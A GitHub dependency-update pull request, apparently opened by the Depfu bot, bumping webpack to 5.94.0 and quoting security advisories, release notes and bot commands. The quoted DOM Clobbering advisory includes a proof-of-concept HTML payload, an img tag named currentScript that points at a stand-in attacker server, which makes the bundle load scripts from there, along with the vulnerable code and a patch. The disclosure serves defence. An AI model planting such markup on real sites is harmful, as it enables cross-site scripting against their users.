🚨 [security] Update webpack 5.28.0 → 5.94.0 (minor) #100

depfu · 2024-08-27T20:12:28Z

Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ webpack (5.28.0 → 5.94.0) · Repo

Security Advisories 🚨

🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Hi, Webpack developer team!

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:
/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();
However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:
// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });
// import1.js
export function hello () {
  console.log('Hello');
}
The webpack.config.js is set up as follows:
const path = require('path');
module.exports = {

entry: './entry.js', // Ensure the correct path to your entry file

output: {

filename: 'webpack-gadgets.bundle.js', // Output bundle file

path: path.resolve(__dirname, 'dist'), // Output directory

publicPath: "auto", // Or leave this field not set

},

target: 'web',

mode: 'development',

};
When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.
<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>
Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174
/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();
Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

🚨 Cross-realm object access in Webpack 5

Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @types/estree (indirect, 0.0.46 → 1.0.5) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ es-module-lexer (indirect, 0.4.1 → 1.5.4) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ loader-runner (indirect, 4.2.0 → 4.3.0) · Repo

Commits

See the full diff on Github. The new version differs by 4 commits:

↗️ serialize-javascript (indirect, 5.0.1 → 6.0.2) · Repo

Release Notes

6.0.2

fix: serialize URL string contents to prevent XSS (#173) f27d65d

Bump @babel/traverse from 7.10.1 to 7.23.7 (#171) 02499c0

docs: update readme with URL support (#146) 0d88527

chore: update node version and lock file e2a3a91

fix typo (#164) 5a1fa64

v6.0.1...v6.0.2

6.0.1

What's Changed

Bump mocha from 9.0.1 to 9.0.2 by @dependabot in #126

Bump mocha from 9.0.2 to 9.0.3 by @dependabot in #127

Bump path-parse from 1.0.6 to 1.0.7 by @dependabot in #129

Bump mocha from 9.0.3 to 9.1.0 by @dependabot in #130

Bump mocha from 9.1.0 to 9.1.1 by @dependabot in #131

Bump mocha from 9.1.1 to 9.1.2 by @dependabot in #132

Bump mocha from 9.1.2 to 9.1.3 by @dependabot in #133

Bump mocha from 9.1.3 to 9.1.4 by @dependabot in #137

Bump mocha from 9.1.4 to 9.2.0 by @dependabot in #138

Bump chai from 4.3.4 to 4.3.6 by @dependabot in #140

Bump ansi-regex from 5.0.0 to 5.0.1 by @dependabot in #141

Bump mocha from 9.2.0 to 9.2.2 by @dependabot in #143

Bump minimist from 1.2.5 to 1.2.6 by @dependabot in #144

Bump mocha from 9.2.2 to 10.0.0 by @dependabot in #145

Bump mocha from 10.0.0 to 10.1.0 by @dependabot in #149

Bump chai from 4.3.6 to 4.3.7 by @dependabot in #150

ci: test.yml - actions bump by @piwysocki in #151

Bump minimatch from 3.0.4 to 3.1.2 by @dependabot in #152

Bump mocha from 10.1.0 to 10.2.0 by @dependabot in #153

Bump json5 from 2.1.3 to 2.2.3 by @dependabot in #155

Fix serialization issue for 0n. by @momocow in #156

Release v6.0.1 by @okuryu in #157

New Contributors

@piwysocki made their first contribution in #151

@momocow made their first contribution in #156

Full Changelog: v6.0.0...v6.0.1

6.0.0

Changelog

Add support for URL's (#123)

Bump mocha from 9.0.0 to 9.0.1 (#124)

Bump mocha from 8.4.0 to 9.0.0 (#121)

Update Node.js CI matrix (#122)

Bump mocha from 8.3.2 to 8.4.0 (#120)

Bump lodash from 4.17.19 to 4.17.21 (#119)

Bump y18n from 4.0.0 to 4.0.1 (#116)

Bump chai from 4.3.3 to 4.3.4 (#115)

Bump mocha from 8.3.1 to 8.3.2 (#114)

Bump mocha from 8.3.0 to 8.3.1 (#113)

Bump chai from 4.3.1 to 4.3.3 (#112)

Bump chai from 4.2.0 to 4.3.1 (#111)

Bump mocha from 8.2.1 to 8.3.0 (#109)

Bump mocha from 8.1.3 to 8.2.1 (#105)

Drop Travis CI settings (#100)

Change default branch name to main (#99)

GitHub Aactions (#98)

Behavior changes for URL objects

It serializes URL objects as follows since this version. The result of serialization may be changed if you are passing URL object values into the serialize-javascript.
const serialize = require("serialize-javascript");
serialize({u: new URL("http://example.com/")}); // '{"u":new URL("http://example.com/")}'
Thank you @rrdelaney for this release.

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 46 commits:

↗️ terser-webpack-plugin (indirect, 5.1.1 → 5.3.10) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ watchpack (indirect, 2.1.1 → 2.4.2) · Repo

Release Notes

2.4.2

Bugfixes

handle empty strings and arrays in ignored

2.4.1

Bugfixes

do not report directory as initial missing on the second watch

2.4.0

Bugfixes

respect filesystem accuracy more accurately

2.3.0

Features

allow to grab separate file and directory time info objects

allow functions passed to the ignored option

Bugfixes

ignore EACCESS errors during initial scan

Performance

improve performance of watcher update

Contributing

CI tests node.js 17 too

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 64 commits:

🆕 @jridgewell/gen-mapping (added, 0.3.5)

🆕 @jridgewell/resolve-uri (added, 3.1.2)

🆕 @jridgewell/set-array (added, 1.2.1)

🆕 @jridgewell/source-map (added, 0.3.6)

🆕 @jridgewell/sourcemap-codec (added, 1.5.0)

🆕 @jridgewell/trace-mapping (added, 0.3.25)

🆕 acorn-import-attributes (added, 1.9.5)

🆕 json-parse-even-better-errors (added, 2.3.1)

🆕 picocolors (added, 1.0.1)

🆕 update-browserslist-db (added, 1.1.0)

🗑️ @types/eslint (removed)

🗑️ @types/eslint-scope (removed)

🗑️ yocto-queue (removed)

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands

@depfu rebase
Rebases against your default branch and redoes this update

@depfu recreate
Recreates this PR, overwriting any edits that you've made to it

@depfu merge
Merges this PR once your tests are passing and conflicts are resolved

@depfu cancel merge
Cancels automatic merging of this PR

@depfu close
Closes this PR and deletes the branch

@depfu reopen
Restores the branch and reopens this PR (if it's closed)

@depfu pause
Ignores all future updates for this dependency and closes this PR

@depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR

@depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Update webpack to version 5.94.0

2ca7fc0

depfu bot added the depfu label Aug 27, 2024

depfu bot mentioned this pull request Aug 27, 2024

🚨 [security] Update webpack: 5.28.0 → 5.76.1 (minor) #89

Closed

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Uh oh!

🚨 [security] Update webpack 5.28.0 → 5.94.0 (minor) #100

🚨 [security] Update webpack 5.28.0 → 5.94.0 (minor) #100

Uh oh!

depfu bot commented Aug 27, 2024

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

Uh oh!

🚨 [security] Update webpack 5.28.0 → 5.94.0 (minor) #100

Are you sure you want to change the base?

🚨 [security] Update webpack 5.28.0 → 5.94.0 (minor) #100

Uh oh!

Conversation

depfu bot commented Aug 27, 2024

What changed?

✳️ webpack (5.28.0 → 5.94.0) · Repo

Summary

Details

Backgrounds

Gadgets found in Webpack

PoC

Impact

Patch

↗️ @​types/estree (indirect, 0.0.46 → 1.0.5) · Repo

↗️ es-module-lexer (indirect, 0.4.1 → 1.5.4) · Repo · Changelog

↗️ loader-runner (indirect, 4.2.0 → 4.3.0) · Repo

↗️ serialize-javascript (indirect, 5.0.1 → 6.0.2) · Repo

What's Changed

New Contributors

↗️ terser-webpack-plugin (indirect, 5.1.1 → 5.3.10) · Repo · Changelog

↗️ watchpack (indirect, 2.1.1 → 2.4.2) · Repo

Bugfixes

Bugfixes

Bugfixes

Features

Bugfixes

Performance

Contributing

🆕 @​jridgewell/gen-mapping (added, 0.3.5)

🆕 @​jridgewell/resolve-uri (added, 3.1.2)

🆕 @​jridgewell/set-array (added, 1.2.1)

🆕 @​jridgewell/source-map (added, 0.3.6)

🆕 @​jridgewell/sourcemap-codec (added, 1.5.0)

🆕 @​jridgewell/trace-mapping (added, 0.3.25)

🆕 acorn-import-attributes (added, 1.9.5)

🆕 json-parse-even-better-errors (added, 2.3.1)

🆕 picocolors (added, 1.0.1)

🆕 update-browserslist-db (added, 1.1.0)

🗑️ @​types/eslint (removed)

🗑️ @​types/eslint-scope (removed)

🗑️ yocto-queue (removed)

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

1 participant

↗️ @types/estree (indirect, 0.0.46 → 1.0.5) · Repo

🆕 @jridgewell/gen-mapping (added, 0.3.5)

🆕 @jridgewell/resolve-uri (added, 3.1.2)

🆕 @jridgewell/set-array (added, 1.2.1)

🆕 @jridgewell/source-map (added, 0.3.6)

🆕 @jridgewell/sourcemap-codec (added, 1.5.0)

🆕 @jridgewell/trace-mapping (added, 0.3.25)

🗑️ @types/eslint (removed)

🗑️ @types/eslint-scope (removed)